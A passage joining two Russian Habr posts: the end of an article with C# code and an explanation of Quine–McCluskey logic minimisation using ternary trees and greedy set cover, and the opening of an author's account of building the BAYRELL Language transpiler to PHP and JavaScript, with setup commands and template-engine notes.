{
byte cSymb = term[iStartPos++];
if (cSymb != LogicFunction.cStarSymb)
{
pCurrNode = (object[])pCurrNode[cSymb];
}
else
{
if ((pCurrNode[0] != null) && (pCurrNode[1] != null))
{
GetAllCalculateTrueTerms((object[])pCurrNode[1], term, iStartPos, pAllCalculateTrueTermsList);
pCurrNode = (object[])pCurrNode[0];
}
else
{
pCurrNode = (object[])(pCurrNode[0] != null ? pCurrNode[0] : pCurrNode[1]);
}
}
}
if (pCurrNode != null)
{
byte cSymb = term[iTermLength1];
if (cSymb != LogicFunction.cStarSymb)
{
TreeNodeEnd pEndNode = (TreeNodeEnd)pCurrNode[cSymb];
if (pEndNode != null) pAllCalculateTrueTermsList.Add(pEndNode);
}
else
{
if (pCurrNode[0] != null) pAllCalculateTrueTermsList.Add((TreeNodeEnd)pCurrNode[0]);
if (pCurrNode[1] != null) pAllCalculateTrueTermsList.Add((TreeNodeEnd)pCurrNode[1]);
}
}
}
}
///
/// Минимизация логической функции методом Квайна---Мак-Класки
///
public class Quine\_McCluskey
{
//Максимальное кол-во элементов, при котором используется HashSet
private static readonly int HASHSET\_MAX\_ITEMS = 10000000;
//Решение по положительным термам
private readonly Dnf \_result = new Dnf();
public Dnf Result
{
get { return \_result; }
}
//Решение по негативным термам
private readonly Dnf \_resultNeg = new Dnf();
public Dnf ResultNeg
{
get { return \_resultNeg; }
}
//Склеивание строк с одним различием
private static void Skleivanie(TreeFuncTerm X1Tree, TreeFuncTerm X2Tree, TreeFuncTerm NegativTree,
TreeFuncTerm InpNegTerms, TreeFuncTerm AllOutTerms)
{
bool IsVirtSkleivOn = ((NegativTree != null) && (InpNegTerms != null) && (InpNegTerms.Count != 0));
for (TreeFuncTerm.TreeNodeEnd x1 = X1Tree.EnumerationInit(); x1 != null; x1 = X1Tree.EnumerationNextNode())
{
bool bIsSkleiv = false;
byte[] pCurrTerm = X1Tree.EnumerationTerm;
for (int iPos = 0; iPos < pCurrTerm.Length; iPos++)
{
byte cSymbSav = pCurrTerm[iPos];
if (cSymbSav == LogicFunction.cStarSymb) continue;
//Склеивание двух термов с одним различием
pCurrTerm[iPos] = (byte)(1 - cSymbSav);
if (X1Tree.Contains(pCurrTerm))
{
bIsSkleiv = true;
if (cSymbSav == 0)
{
pCurrTerm[iPos] = LogicFunction.cStarSymb; //Метка склеивания
X2Tree.Add(pCurrTerm);
}
}
//или склеивание с виртуальной термой, которой нет в NegativTree
else if (IsVirtSkleivOn && !NegativTree.Contains(pCurrTerm))
{
pCurrTerm[iPos] = LogicFunction.cStarSymb; //Метка склеивания
/\*bool bIsNotCanAdd = false;
foreach (byte[] NegTerm in InpNegTerms)
{
if (bIsNotCanAdd = Dnf.Calculate(NegTerm, pCurrTerm)) break;
}
if (!bIsNotCanAdd)\*/
if (!InpNegTerms.IsCalculateTrue(pCurrTerm))
{
bIsSkleiv = true;
X2Tree.Add(pCurrTerm);
}
}
pCurrTerm[iPos] = cSymbSav;
}
//Добавление на выход тех термов, которые ни с кем не склеились
if (!bIsSkleiv && (AllOutTerms != null)) AllOutTerms.Add(pCurrTerm);
}
}
//Возвращает уникальный код для терма
private static UInt64 GetTermCode(byte[] pTerm)
{
UInt64 iMultip = 1, iCode = 0;
for (int i = 0; i < pTerm.Length; i++)
{
iCode += (iMultip \* pTerm[i]);
//iMultip \*= 3;
iMultip = (iMultip << 1) + iMultip;
}
return iCode;
}
//Возвращает терм для уникального кода
private static void GetTermByCode(UInt64 iCode, byte[] pTerm)
{
int iCounter = 0;
while (iCode != 0)
{
pTerm[iCounter++] = (byte)(iCode % 3);
iCode /= 3;
}
while (iCounter < pTerm.Length) pTerm[iCounter++] = 0;
}
//Склеивание строк с одним различием
private static void Skleivanie(ICollection X1Tree, ICollection X2Tree,
ICollection NegativTree, TreeFuncTerm InpNegTerms, TreeFuncTerm AllOutTerms,
int iTermLength, UInt64[] MultiVals)
{
bool IsVirtSkleivOn = ((NegativTree != null) && (InpNegTerms != null) && (InpNegTerms.Count != 0));
byte[] pCurrTerm = new byte[iTermLength];
foreach (UInt64 x1 in X1Tree)
{
GetTermByCode(x1, pCurrTerm);
bool bIsSkleiv = false;
for (int iPos = 0; iPos < iTermLength; iPos++)
{
byte cSymbSav = pCurrTerm[iPos];
if (cSymbSav != LogicFunction.cStarSymb)
{
UInt64 iMultip = MultiVals[iPos];
UInt64 iCode = (cSymbSav == 0 ? x1 + iMultip : x1 - iMultip);
//Склеивание двух термов с одним различием
if (X1Tree.Contains(iCode))
{
bIsSkleiv = true;
if (cSymbSav == 0)
{
//iCode = x1 + (byte)(LogicFunction.cStarSymb - cSymbSav) \* iMultip;
iCode += iMultip;
X2Tree.Add(iCode);
}
}
//или склеивание с виртуальной термой, которой нет в NegativTree
else if (IsVirtSkleivOn && !NegativTree.Contains(iCode))
{
pCurrTerm[iPos] = LogicFunction.cStarSymb; //Метка склеивания
/\*bool bIsNotCanAdd = false;
foreach (byte[] NegTerm in NegTerms)
{
if (bIsNotCanAdd = Dnf.Calculate(NegTerm, pCurrTerm)) break;
}
if (!bIsNotCanAdd)\*/
if (!InpNegTerms.IsCalculateTrue(pCurrTerm))
{
bIsSkleiv = true;
//iCode = x1 + (byte)(LogicFunction.cStarSymb - cSymbSav) \* iMultip;
iCode += (cSymbSav == 0 ? iMultip : (iMultip << 1));
X2Tree.Add(iCode);
}
pCurrTerm[iPos] = cSymbSav;
}
}
}
//Добавление на выход тех термов, которые ни с кем не склеились
if (!bIsSkleiv && (AllOutTerms != null)) AllOutTerms.Add(pCurrTerm);
}
}
//Удаление дубликатов термов из входного списка
//В выходной словарь добавляются только уникальные термы
private static void DeleteDublicatingTerms(IEnumerable InX1, ICollection OutX2Tree)
{
OutX2Tree.Clear();
foreach (byte[] x1 in InX1)
{
UInt64 iCode = GetTermCode(x1);
if (!OutX2Tree.Contains(iCode)) OutX2Tree.Add(iCode);
}
}
//Удаление дубликатов термов из входного списка
//В выходное дерево добавляются только уникальные термы
private static void DeleteDublicatingTerms(IEnumerable InX1, TreeFuncTerm OutX2Tree)
{
OutX2Tree.Clear();
foreach (byte[] x1 in InX1) OutX2Tree.Add(x1);
}
// Отбрасывание избыточных терм с помощью алгоритма приближенного решения задачи о покрытии.
// Покрытие, близкое к кратчайшему, даёт следующий алгоритм преобразования таблицы покрытий (ТП),
// основанный на методе “минимальный столбец–максимальная строка” (http://www.studfiles.ru/preview/5175815/page:4/):
private static void ReduceRedundancyTerms(TreeFuncTerm AllOutputTerms,
TreeFuncTerm AllInputTerms, ICollection ResultTerms)
{
//Подготовка результирующего контейнера
ResultTerms.Clear();
//Контейнер для соответствия конечного терма к списку первичных термов, которые его образовали
Dictionary> Outputs2Inputs = new Dictionary>();
//Контейнер для соответствия первичных входных терм к тем выходным, которые их покрывают
Dictionary> Inputs2Outputs = new Dictionary>();
//Сбор статистики об покрытии выходными термами входных
for (TreeFuncTerm.TreeNodeEnd pNode = AllOutputTerms.EnumerationInit(); pNode != null; pNode = AllOutputTerms.EnumerationNextNode())
{
byte[] outTerm = (byte[])AllOutputTerms.EnumerationTerm.Clone();
//Контейнер входных термов, которые покрывает данный выходной терм term
HashSet InpTermsLst = new HashSet();
AllInputTerms.GetAllCalculateTrueTerms(outTerm, InpTermsLst);
Outputs2Inputs.Add(outTerm, InpTermsLst);
foreach (TreeFuncTerm.TreeNodeEnd inputTerm in InpTermsLst)
{
if (!Inputs2Outputs.ContainsKey(inputTerm)) Inputs2Outputs.Add(inputTerm, new HashSet());
Inputs2Outputs[inputTerm].Add(outTerm);
}
}
//Сортировка словаря исходных термов по возрастанию кол-ва их покрытий выходными
Inputs2Outputs = Inputs2Outputs.OrderBy(p => p.Value.Count).ToDictionary(p => p.Key, v => v.Value);
//Перебор всех входных термов, отсортированных по кол-ву покрывавших их выходных
while (Inputs2Outputs.Count > 0)
{
byte[] outTerm = Inputs2Outputs.First().Value.OrderByDescending(q => Outputs2Inputs[q].Count()).First();
ResultTerms.Add(outTerm);
foreach (TreeFuncTerm.TreeNodeEnd inTerm in Outputs2Inputs[outTerm].ToArray())
{
foreach (byte[] outTerm2Del in Inputs2Outputs[inTerm]) Outputs2Inputs[outTerm2Del].Remove(inTerm);
Inputs2Outputs.Remove(inTerm);
}
}
}
//Нахождение минимальной логической функции
public static void LogicFuncMinimize(
IEnumerable PositivTerms, ICollection OutPos,
IEnumerable NegativTerms, ICollection OutNeg)
{
TreeFuncTerm InpPosTerms = new TreeFuncTerm(true);
DeleteDublicatingTerms(PositivTerms, InpPosTerms);
int iTotalLevels = InpPosTerms.Rang;
if (iTotalLevels <= 0) return;
TreeFuncTerm OutPosTerms = new TreeFuncTerm();
TreeFuncTerm OutNegTerms = null;
TreeFuncTerm InpNegTerms = null;
if ((NegativTerms != null) && (NegativTerms.Count() != 0))
{
InpNegTerms = new TreeFuncTerm(true);
DeleteDublicatingTerms(NegativTerms, InpNegTerms);
OutNegTerms = new TreeFuncTerm();
//Проверка наличия и удаление одинаковых данных в обеих последовательностях
for (TreeFuncTerm.TreeNodeEnd pNode = InpPosTerms.EnumerationInit();
pNode != null; pNode = InpPosTerms.EnumerationNextNode())
{
if (!InpNegTerms.Contains(InpPosTerms.EnumerationTerm)) continue;
//Подсчитывается кол-во входных термов в X1 и в NegativTerms
int iPos\_Count = PositivTerms.Count(p => Enumerable.SequenceEqual(p, InpPosTerms.EnumerationTerm));
int iNeg\_Count = NegativTerms.Count(p => Enumerable.SequenceEqual(p, InpPosTerms.EnumerationTerm));
if (iPos\_Count > iNeg\_Count)
{
InpNegTerms.Remove(InpPosTerms.EnumerationTerm);
}
else if (iPos\_Count < iNeg\_Count)
{
InpPosTerms.Remove(InpPosTerms.EnumerationTerm);
}
else //if (iX1\_Count == iNeg\_Count)
{
InpPosTerms.Remove(InpPosTerms.EnumerationTerm);
InpNegTerms.Remove(InpPosTerms.EnumerationTerm);
}
}
}
if (iTotalLevels < 40)
{
ICollection X1PositivTree = (InpPosTerms.Count <= HASHSET\_MAX\_ITEMS ?
(ICollection)(new HashSet()) : new SortedSet());
for (TreeFuncTerm.TreeNodeEnd pNode = InpPosTerms.EnumerationInit();
pNode != null; pNode = InpPosTerms.EnumerationNextNode())
{
X1PositivTree.Add(GetTermCode(InpPosTerms.EnumerationTerm));
}
ICollection X1NegativTree = null;
if (InpNegTerms != null)
{
X1NegativTree = (InpNegTerms.Count <= HASHSET\_MAX\_ITEMS ?
(ICollection)(new HashSet()) : new SortedSet());
for (TreeFuncTerm.TreeNodeEnd pNode = InpNegTerms.EnumerationInit();
pNode != null; pNode = InpNegTerms.EnumerationNextNode())
{
X1NegativTree.Add(GetTermCode(InpNegTerms.EnumerationTerm));
}
}
//Таблица значений множителей для перевода из числа UInt64 в массив byte[] и обратно
UInt64[] pMultiVals = new UInt64[iTotalLevels];
UInt64 iMultip = 1;
for (int i = 0; i < iTotalLevels; i++)
{
pMultiVals[i] = iMultip;
iMultip \*= 3;
}
int iLevelCounter = 0;
//Повтор до тех пор пока будут оставаться термы
while ((X1PositivTree.Count != 0) && (iLevelCounter < iTotalLevels))
{
ICollection X2PositivTree = (X1PositivTree.Count <= HASHSET\_MAX\_ITEMS ?
(ICollection)(new HashSet()) : new SortedSet());
Skleivanie(X1PositivTree, X2PositivTree, X1NegativTree, InpNegTerms,
OutPosTerms, iTotalLevels, pMultiVals);
if ((X1NegativTree != null) && (X1NegativTree.Count != 0))
{
ICollection X2NegativTree = (X1NegativTree.Count <= HASHSET\_MAX\_ITEMS ?
(ICollection)(new HashSet()) : new SortedSet());
Skleivanie(X1NegativTree, X2NegativTree, X1PositivTree, InpPosTerms,
OutNegTerms, iTotalLevels, pMultiVals);
//Очистка поискового словаря
X1NegativTree.Clear();
X1NegativTree = X2NegativTree;
}
//Очистка поискового словаря
X1PositivTree.Clear();
X1PositivTree = X2PositivTree;
iLevelCounter++;
GC.Collect();
}
}
else
{
//Исходные деревья
TreeFuncTerm X1PositivTree = InpPosTerms;
TreeFuncTerm X1NegativTree = InpNegTerms;
int iLevelCounter = 0;
//Повтор до тех пор пока будут оставаться термы
while ((X1PositivTree.Count != 0) && (iLevelCounter < iTotalLevels))
{
TreeFuncTerm X2PositivTree = new TreeFuncTerm();
Skleivanie(X1PositivTree, X2PositivTree, X1NegativTree, InpNegTerms, OutPosTerms);
if ((X1NegativTree != null) && (X1NegativTree.Count != 0))
{
TreeFuncTerm X2NegativTree = new TreeFuncTerm();
Skleivanie(X1NegativTree, X2NegativTree, X1PositivTree, InpPosTerms, OutNegTerms);
//Очистка поискового дерева
if (iLevelCounter > 0) X1NegativTree.Clear();
X1NegativTree = X2NegativTree;
}
//Очистка поискового дерева
if (iLevelCounter > 0) X1PositivTree.Clear();
X1PositivTree = X2PositivTree;
iLevelCounter++;
GC.Collect();
}
}
if (OutPosTerms.Count > 0)
{
//Удаляется терм, содержащий во всех позициях cStarSymb
OutPosTerms.Remove(Enumerable.Repeat(LogicFunction.cStarSymb, iTotalLevels).ToArray());
}
//Выбор оптимального набора терм
ReduceRedundancyTerms(OutPosTerms, InpPosTerms, OutPos);
if ((OutNeg != null) && (OutNegTerms != null))
{
if (OutNegTerms.Count > 0)
{
//Удаляется терм, содержащий во всех позициях cStarSymb
OutNegTerms.Remove(Enumerable.Repeat(LogicFunction.cStarSymb, iTotalLevels).ToArray());
}
//Выбор оптимального набора терм
ReduceRedundancyTerms(OutNegTerms, InpNegTerms, OutNeg);
}
}
//Запуск метода
public void Start(IEnumerable TermsInput)
{
LogicFuncMinimize(TermsInput, \_result.Terms, null, null);
}
//Запуск метода
public void Start(IEnumerable TermsInput, IEnumerable NegativTerms)
{
LogicFuncMinimize(TermsInput, \_result.Terms, NegativTerms, \_resultNeg.Terms);
}
//Запуск метода
public void Start(IEnumerable TermsInput)
{
Start(TermsInput.Select(t => t.Select(p => (byte)(p == '0' ? 0 : 1)).ToArray()));
}
//Запуск метода
public void Start(IEnumerable TermsInput, IEnumerable NegativTerms)
{
Start(TermsInput.Select(t => t.Select(p => (byte)(p == '0' ? 0 : 1)).ToArray()),
NegativTerms.Select(t => t.Select(p => (byte)(p == '0' ? 0 : 1)).ToArray()));
}
//Запуск метода
public void Start(IEnumerable TermsInput)
{
Start(TermsInput.Select(t => t.Select(p => (byte)(p ? 1 : 0)).ToArray()));
}
//Запуск метода
public void Start(IEnumerable TermsInput, IEnumerable NegativTerms)
{
Start(TermsInput.Select(t => t.Select(p => (byte)(p ? 1 : 0)).ToArray()),
NegativTerms.Select(t => t.Select(p => (byte)(p ? 1 : 0)).ToArray()));
}
}
```
Класс Quine\_McCluskey является реализацией этого алгоритма, который использует другие классы и интерфейсы: Dnf, TreeNodeBase, TreeNodeMiddle, TreeNodeEnd, TreeFuncTerm. Для запуска оптимизации нужно вызывать один из перегруженных методов Start, который вызывает функцию LogicFuncMinimize, где реализован, собственно, алгоритм минимизации. Механизм минимизации реализован в двух вариантах:
• с использованием контейнера .NET SortedSet для хранения и поиска термов.
• без использования контейнеров .NET на основе троичного дерева TreeFuncTerm.
По скорости эти два варианта примерно равны (с контейнерами .NET, возможно, чуть быстрее, но далеко не всегда), но необходимость реализации TreeFuncTerm обусловлен несколькими факторами:
• Первый вариант, основанный на 64-х битных целочисленных хэш-кодах и поиске в .NET словаре SortedSet, работает корректно только при количестве входных переменных в термах до 40, а при большем их количестве выходит за 64 битную разрядную сетку целочисленного хэш-кода, используемого для работы контейнера. Действительно, т. к. в склеенных термах внутри алгоритма применяется троичная логика, то при количестве входных переменных равном 41 максимальное значение хэш-кода  уже превышает максимальное значение -1, которое можно записать в 64 битную переменную. При большем количестве переменных используется вариант, основанный на авторском троичном поисковом дереве TreeFuncTerm.
• Нужно проверять работу реализации на контейнерах .NET другой независимой от неё реализацией свободной от них.
• Просто нужен вариант, свободный от контейнеров .NET, который можно было бы легко реализовать на платформах, где нет платформы .NET (например в микроконтроллерах, ПЛИС и т. п.).
Работа поискового дерева TreeFuncTerm основана на конфигурации ссылок классов TreeNodeMiddle и TreeNodeEnd, являющихся реализациями интерфейса TreeNodeBase. Класс TreeNodeMiddle является промежуточным узлом дерева, а класс TreeNodeEnd – оконечным листом дерева. В дереве с помощью функций EnumerationInit() и EnumerationNextNode() реализован нерекурсивный механизм перебора всех конечных листьев TreeNodeEnd. Функция EnumerationInit() инициализирует перебор и возвращает первый попавшийся лист дерева. Функция EnumerationNextNode() возвращает следующий лист дерева или NULL, если листьев для выборки больше нет. При этом вспомогательная внутренняя структура EnumerationTerm, которая отражает положение поискового «курсора» внутри дерева, является также кодом терма найденного листа в троичной логике {0,1,2}. Следует заметить, что порядок выборки листьев из дерева не совпадает с порядком добавления их в него.
Алгоритм по функциональному назначению можно разбить на три этапа.
1. **Подготовка.** Для решения указанной выше проблемы устранения перебора вариантов доопределений в рассматриваемой реализации на вход алгоритма в функцию LogicFuncMinimize поступают два исходных набора данных PositivTerms и NegativTerms, на которых оптимизируемая функция принимает, соответственно, истинное (TRUE, 1) и ложное (FALSE, 0) значения. Прежде всего, эти списки проверяются на непротиворечивость исходных данных. Необходимо, чтобы каждый из наборов данных гарантированно содержал только уникальные термы, которые присутствуют только в каком либо одном из списков. Для гарантирования этого просматривается каждый уникальный входной терм и находится количество его вхождений в каждый из исходных списков. В случае если терм встречается в обоих списках, то он остаётся только в том списке, в котором он встречается больше, а из другого — удаляется. Если же терм встречается в каждом из списков одинаково часто, то он удаляется из обоих списков, чем и обеспечивается уникальность.
2. **Склеивание.** Далее производится итерационный цикл склейки входных терм. На каждой итерации в склеивавшихся термах добавляется по одному знаку \* склеенной позиции. Поэтому количество итераций не может быть больше чем количество переменных *N*. В отличие от предыдущей реализации в функцию Skleivanie склеивания входных терм добавлена возможность склеивания не только с термами из своего списка, но и в случае отсутствия в нём терм с одним различием также с так называемыми «виртуальными» термами. Под «виртуальными» термами подразумеваются искусственно доопределённые термы, которых нет ни в одном из списков терм набора текущего уровня. Но склейка возможна только в том случае, если «виртуальный» терм не покрывает ни одного терма исходного набора противоположного списка.
Функция Skleivanie вызывается для обработки списков на каждой итерации два раза так, что в первом вызове смысл использования списков PositivTerms и NegativTerms совпадает с их реальным наполнением, а во втором вызове списки PositivTerms и NegativTerms по смыслу использования меняются местами, т. е. считается, что список PositivTerms содержит отрицательные термы, а список NegativTerms – положительные:
Skleivanie(X1PositivTree, ..., X1NegativTree, ..., SkleivTerms, …);
Skleivanie(X1NegativTree, ..., X1PositivTree, ..., null, …);
Таким образом, происходит одновременная взаимозависимая склейка терм двух списков.
Если для терма не находится другого отличающегося от него только в одной позиции терма ни реального ни виртуального, т. е. терм ни с кем не склеивается, то он считается одним из результатов работы п. 1 алгоритма, исключается из дальнейшей работы в нём и поступает на вход этапа 2 работы алгоритма, реализованного в процедуре ReduceRedundancyTerms. Не склеенные термы поступают на выход алгоритма только на том вызове функции Skleivanie, для которой смысл использования списков PositivTerms и NegativTerms совпадает с их реальным наполнением, т. е. на первом вызове.
3. **Сокращение.** Отбрасывание избыточных склеенных терм в ReduceRedundancyTerms осуществляется с помощью алгоритма приближенного решения задачи о покрытии исходного множества подмножествами переменной длины. Покрытие, близкое к кратчайшему даёт алгоритм преобразования таблицы покрытий (ТП), основанный на методе “минимальный столбец–максимальная строка” (который можно посмотреть, например, здесь <http://www.studfiles.ru/preview/5175815/page:4>).
Приблизительная логика его работы состоит в следующем:
0. Исходная таблица считается текущей преобразуемой ТП, множество строк покрытий – пусто;
1. В текущей таблице выделяется столбец с наименьшим числом единиц. Среди строк, содержащих единицы в этом столбце, выделяется одна с наибольшим числом единиц. Эта строка включается в покрытие, текущая таблица сокращается вычеркиванием всех столбцов, в которых выбранная строка имеет единицу.
2. Если в таблице есть не вычеркнутые столбцы, то выполняется п. 1, иначе – покрытие построено. Примечание: При подсчёте числа единиц в строке учитываются единицы в невычеркнутых столбцах.
Этот алгоритм работает достаточно быстро и даёт результат близкий к оптимальному.
Для проверки работы алгоритма предлагается использовать тестовую функцию TestQuineMcCluskeyRandomPart, которая из всей совокупности возможных термов количеством  случайным образом выбирает только заданную часть 0
**TestQuineMcCluskeyRandomPart (нажать для просмотра)**
```
public static void TestQuineMcCluskeyRandomPart(int iVariableAmount, double dPart=1)
{
if (dPart < 0) throw new
ArgumentException("Параметр dPart должен быть больше 0 и меньше 1");
if (dPart > 1) dPart = 1;
//Получение исходных термов
ulong iTotalCombines = (ulong)1 << iVariableAmount;
LinkedList pTrueCol = new LinkedList();
LinkedList pFalseCol = new LinkedList();
HashSet pUsedTerms = new HashSet();
Random rnd = new Random();
byte[] buf = new byte[8];
while (pUsedTerms.LongCount() < (iTotalCombines \* dPart))
{
rnd.NextBytes(buf);
ulong iCurValue = (ulong)BitConverter.ToInt64(buf, 0) % iTotalCombines;
if (pUsedTerms.Contains(iCurValue))
{
//Разрешение коллизии - последовательный поиск пустого места
do {
iCurValue = ++iCurValue % iTotalCombines;
} while (pUsedTerms.Contains(iCurValue));
}
pUsedTerms.Add(iCurValue);
byte[] sLine = new byte[iVariableAmount];
for (int i = 0; i < iVariableAmount; i++)
{
sLine[i] += (byte)(iCurValue % 2);
iCurValue >>= 1;
}
if (rnd.Next(2) != 0)
{
pTrueCol.AddLast(sLine);
}
else
{
pFalseCol.AddLast(sLine);
}
}
//Запуск в обучение
DateTime DtStart = DateTime.Now;
Console.WriteLine("Старт - " + DtStart.ToLongTimeString());
Quine\_McCluskey Logic = new Quine\_McCluskey();
Logic.Start(pTrueCol, pFalseCol);
DateTime DtEnd = DateTime.Now;
Logic.PrintResult();
Console.WriteLine("Старт - " + DtStart.ToLongTimeString());
Console.WriteLine("Завершение - " + DtEnd.ToLongTimeString());
TimeSpan Elapsed = DtEnd - DtStart;
Console.WriteLine("Длительность - " + String.Format("{0:00}:{1:00}:{2:00}",
Elapsed.Hours, Elapsed.Minutes, Elapsed.Seconds));
//Получение результатов
int iErrorsCounter = 0;
foreach (byte[] kvp in pTrueCol)
{
if (Logic.Result.Calculate(kvp) != true) iErrorsCounter++;
}
foreach (byte[] kvp in pFalseCol)
{
if (Logic.Result.Calculate(kvp) != false) iErrorsCounter++;
}
Console.WriteLine("Кол-во входных термов = " + pUsedTerms.Count);
Console.WriteLine("Кол-во дизъюнктивных термов = " + Logic.Result.Terms.Count);
Console.WriteLine("Кол-во ошибок = " + iErrorsCounter);
Console.ReadLine();
}
```
В результате работы тестовой функции рассчитывается количество термов в минимальной дизъюнктивной нормальной форме и количество ошибок покрытия ею исходного набора терм.
В заключение хотелось отметить, что на практике эта реализация алгоритма показала себя эффективным и надёжным средством минимизации логических функций, заданных двумя неполными наборами терм, на которых логическая функция принимает соответственно TRUE и FALSE значения. Конечно, также эту реализацию можно использовать в классическом виде в случае полностью определённой входной логической функции, когда на вход подаётся только один тот или иной список термов. В качестве недостатка можно отметить необходимость проверки в функции Skleivanie отсутствия ошибок покрытия для каждого виртуального терма всего списка исходных термов на каждой итерации алгоритма, что приводит к существенным временным затратам при большом количестве входных термов. | https://habr.com/ru/post/424517/ | null | ru | null |
# История о том, как я разработал язык программирования
Привет Хабр! Меня зовут Ильдар. Мне 29 лет. Программирую с 2003 года. За свою жизнь создал 4 фреймворка и язык программирования. В этом посте я поделюсь своим опытом, инсайтами, которые я получил при разработке языка программирования BAYRELL Language. Заранее прощу прощения за возможные синтаксические и пунктуационные ошибки в тексте и отсутствие картинок.
История создания
----------------
BAYRELL Language я начал создавать летом 2016 года. Тогда я узнал про ангуляр и реакт. Они произвели на меня впечатления прорывных технологий. Я тогда разрабатывал сайты на PHP и использовал Twig в качестве шаблонизатора. И хотел попробовать Angular. Начал искать, как можно прикрутить Angular к Twig.
В целом Twig+Angular работает, но был эффект моргания. Страница рендерилась через Twig на сервере, передавалась клиенту, и там уже рендерился Angular. И страница, пока рендерится у клиента, она моргала. И я тогда задумался, а есть ли клиент-серверный шаблонизатор, но такой, чтобы работал на PHP и JavaScript?
Я поискал в интернете, все рекомендовали использовать NodeJS в качестве сервера, либо V8 движок в PHP, либо микро сервисную архитектуру: backend на PHP, frontend на NodeJS. Только вот незадача. Я делал сайты на WordPress, Yii2. А на хостинге, не было поддержки ни NodeJS, ни V8. Тогда и пришла идея, написать кросс язычный шаблонизатор.
Я начал его делать. Написал за месяц на PHP, потом за другой месяц написал на JS. И быстро понял, что поддерживать два языка, одновременно сложно. Если появлялся, баг, то его нужно было пофиксить и там и там. Очень быстро версии шаблонизаторов стали разными, и расходились по функционалу. У меня было желание добавить Python. Я понял, что разрабатывать отдельно под каждый язык шаблонизатор, очень сложно. Тогда появилась другая идея. Найти транслятор языков, и сконвертировать код шаблонизатора на PHP в JS и в Python.
Я поискал в интернете про PHP to JS. Нашел несколько решений и опробовал их. Результат оказался дивный. Данные решение не полностью покрывали функционал PHP и JS. И как быстро выяснилось, массивы в PHP и JS отличаются. В JS это массивы, а в PHP это еще могут быть объекты. В JS console.log, а в PHP var\_dump. Runtime среда, работа с массивами в языках отличаются друг от друга. И с этой проблемой, те решения, которые я рассматривал, не смогли ничего сделать.
Меня посетила следующая идея. Написать язык программирования, который будет транслировать код в несколько языков. Все равно большинство и так пользуются TypeScript, CoffeeScript, Dart, Babel, которые транслирует код в JavaScript. Почему бы не создать язык, который также бы транслировался, но не только в JS, но еще и в PHP, Python и т.п.
Так родилась идея создания BAYRELL Language.
На разработку у меня потребовалось много времени, я несколько раз переписывал язык с нуля. Рабочую версию 0.3 я получил в середине 2018 года. В ней был шаблонизатор и рабочий транслятор. Но я не стал ее выкладывать, потому что она была сырая, хоть и рабочая.
За следующие полтора года, я переписал язык на функциональный стиль и добавил функциональное программирование. Оптимизировал транслятор, и откорректировал JS рендер. И теперь получилась рабочая альфа версия 0.8.3.
Возможности языка
-----------------
* Код на языке BAYRELL Language транслируется в PHP, NodeJS, JavaScript;
* Встроенный в язык HTML шаблонизатор;
* Рендер в браузере и на сервере;
* Возможность разработки бэкенд api;
* Функциональное программирование;
* ООП;
* Неизменяемые структуры данных;
* Функциональные цепочки вызовов функций (pipe);
* Асинхронное программирование async/await;
* Кэширование результатов функций, через параметр memorize;
* Лямбда цепочки;
* Концепция обмена сообщениями между частями системы;
Более подробно о возможностях я распишу [в документации](https://docs.bayrell.org/ru/lang/index.html?utm_source=habr&utm_medium=article&utm_campaign=post_lang_2020_03_05).
BAYRELL Language содержит Runtime библиотеку, которая позволяет разрабатывать Full Stack программы. Начиная от запросов к базе данных, работа с API, заканчивая компонентами и рендером на клиенте.
Как начать пользоваться языком
------------------------------
Я постарался создать [базовую документацию](https://docs.bayrell.org/ru/lang/index.html?utm_source=habr&utm_medium=article&utm_campaign=post_lang_2020_03_05), и буду ее потихоньку дополнять. Проект находится в альфа стадии, и возможно функционал некоторых классов будет изменен в будущем.
Установка языка осуществляется следующей командой:
```
npm install -g bayrell-lang-compiler
```
Чистый проект:
```
git clone https://github.com/bayrell-tutorials/clear-project
cd clear-project
git submodule init
git submodule update
```
Трансляция проекта:
```
bayrell-lang-nodejs make_all
bayrell-lang-nodejs make_symlinks
```
Наблюдение изменений в проекте и автоматическая трансляция:
```
bayrell-lang-nodejs watch
```
Чтобы посмотреть проект, нужно в nginx прописать document root к папке web в проекте.
Ссылки на проекты примеры:
* [Чистый проект](https://github.com/bayrell-tutorials/clear-project)
* [CRUD Пример](https://github.com/bayrell-tutorials/simple-crudlist)
HTML Шаблонизатор
-----------------
У шаблонизатора несколько отличительных особенностей:
* Транслятор конвертирует код шаблона в PHP и JS.
* Можно создавать свои компоненты и переиспользовать их в различных частях системы или в других проектах.
* Direct патчинг HTML DOM вместо Virtual DOM.
Более подробное описание работы шаблонизатора, с примерами работы можно найти [в документации](https://docs.bayrell.org/ru/lang/template.html?utm_source=habr&utm_medium=article&utm_campaign=post_lang_2020_03_05).
Если вкратце, то создается модель данных LayoutModel, которая содержит всю информацию о странице (модель всего шаблона). Модель страницы – неизменяемая. Каждый компонент содержит чистую функцию render, которая отображает HTML код на основе модели. Модель может изменяться через JS события (нажатия кнопок мыши, клавиатуры и т.п.) путем создания новой модели с новыми свойствами. При возникновении события, компонент передает событие вышестоящему компоненту, о том, что его модель изменилась. Вышестоящий компонент, изменяет свою модель и передает сообщение выше, пока не дойдет до RenderDriver.
RenderDriver изменяет LayoutModel, и запускает перерисовку через requestAnimationFrame. Функция отрисовки использует функции render у компонентов, чтобы пропатчить HTML DOM. В функции render не создается VirtualDOM, а происходит прямой патч HTML.
Функциональное программирование
-------------------------------
Сейчас тренд на функциональное программирование (ФП). Когда я разрабатывал язык, я понял, что такое функциональное программирование. Это, наверное, самый важный инсайт был для меня. Я понял, что ФП, это не Lisp, Haskell, F#, а принципы, которые применимы как к ФП, так и ООП языкам.
В своей практике я начал применять функциональный подход. И обнаружил, что исчезают некоторые шаблоны проектирования, такие как фабрики, контейнеры, Dependency injection, потому что, они становятся не нужны. Код становится чище, понятнее и его поведение легче предсказать. Уходит избыточность кода и файлов.
Например, у меня, после введения неизменяемых типов данных (структур), исчезла необходимость писать private у переменной, и создавать функции setName(), getName(). Обычно в ООП их всегда пишут. А в функциональном программировании они не нужны. Потому что структура неизменяемая.
Бонусом к функциональному программированию является то, что для него легко писать юнит тесты. Чтобы написать юнит тест, нужно подать в функцию входные данные и сравнить результат с правильным. А весь код состоит из функций, что облегчает задачу для юнит тестирования.
Имхо, но чистый код, возможен только с применением функционального подхода.
Принципы функционального программирования
-----------------------------------------
Данные принципы относятся к языку BAYRELL Language. В других ФП языках некоторых принципов может и не быть.
